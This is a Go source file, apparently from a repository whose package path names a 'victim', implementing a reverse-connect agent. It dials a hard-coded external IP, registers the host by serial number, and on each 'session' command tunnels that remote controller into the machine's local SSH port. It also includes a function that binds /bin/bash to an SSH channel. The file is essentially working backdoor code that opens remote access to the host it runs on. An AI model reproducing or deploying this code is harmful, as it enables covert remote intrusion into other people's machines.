111 lines
1.8 KiB
Go
111 lines
1.8 KiB
Go
package main
|
|
|
|
import (
|
|
_ "embed"
|
|
"fmt"
|
|
"gitea.unprism.ru/KRBL/Zirconn/victim/protocol"
|
|
"golang.org/x/crypto/ssh"
|
|
"io"
|
|
"log"
|
|
"net"
|
|
"os/exec"
|
|
"strings"
|
|
"syscall"
|
|
)
|
|
|
|
const addr = "62.217.183.220:8080"
|
|
|
|
//go:embed serial
|
|
var serial string
|
|
|
|
func init() {
|
|
log.Printf("Serial: %s", serial)
|
|
}
|
|
|
|
func openNewConnection(sessionID string) {
|
|
var err error
|
|
var conn net.Conn
|
|
|
|
if conn, err = net.Dial("tcp", addr); err != nil {
|
|
log.Printf("Error: %v", err)
|
|
return
|
|
}
|
|
|
|
var pack protocol.Package
|
|
|
|
pack.Message = fmt.Sprintf("session %s", sessionID)
|
|
conn.Write(pack.Pack())
|
|
|
|
var sshConn net.Conn
|
|
if sshConn, err = net.Dial("tcp", "localhost:22"); err != nil {
|
|
log.Printf("Error: %v", err)
|
|
return
|
|
}
|
|
|
|
go func() {
|
|
io.Copy(conn, sshConn)
|
|
}()
|
|
|
|
go func() {
|
|
io.Copy(sshConn, conn)
|
|
}()
|
|
}
|
|
|
|
func execShell(channel ssh.Channel) {
|
|
shell := exec.Command("/bin/bash")
|
|
shell.SysProcAttr = &syscall.SysProcAttr{
|
|
Setsid: true,
|
|
}
|
|
shell.Stdin = channel
|
|
shell.Stdout = channel
|
|
shell.Stderr = channel
|
|
shell.Run()
|
|
channel.Close()
|
|
}
|
|
|
|
func main() {
|
|
var err error
|
|
var conn net.Conn
|
|
|
|
if conn, err = net.Dial("tcp", addr); err != nil {
|
|
log.Printf("Error: %v", err)
|
|
return
|
|
}
|
|
|
|
var buff [512]byte
|
|
var pack protocol.Package
|
|
|
|
pack.Message = fmt.Sprintf("device %s", serial)
|
|
|
|
if _, err = conn.Write(pack.Pack()); err != nil {
|
|
log.Printf("Error: %v", err)
|
|
return
|
|
}
|
|
|
|
for {
|
|
var n int
|
|
if n, err = conn.Read(buff[:]); err != nil {
|
|
log.Printf("Error: %v", err)
|
|
return
|
|
}
|
|
|
|
pack.AddToBuffer(buff[:n])
|
|
|
|
for pack.Read() {
|
|
var parts = strings.Split(pack.Message, " ")
|
|
|
|
switch parts[0] {
|
|
case "session":
|
|
if len(parts) != 2 {
|
|
log.Printf("Command !connect requires 1 argument, got %d", len(parts)-1)
|
|
continue
|
|
}
|
|
|
|
go openNewConnection(parts[1])
|
|
default:
|
|
log.Printf("Unknown command: %s", parts[0])
|
|
}
|
|
}
|
|
}
|
|
}
|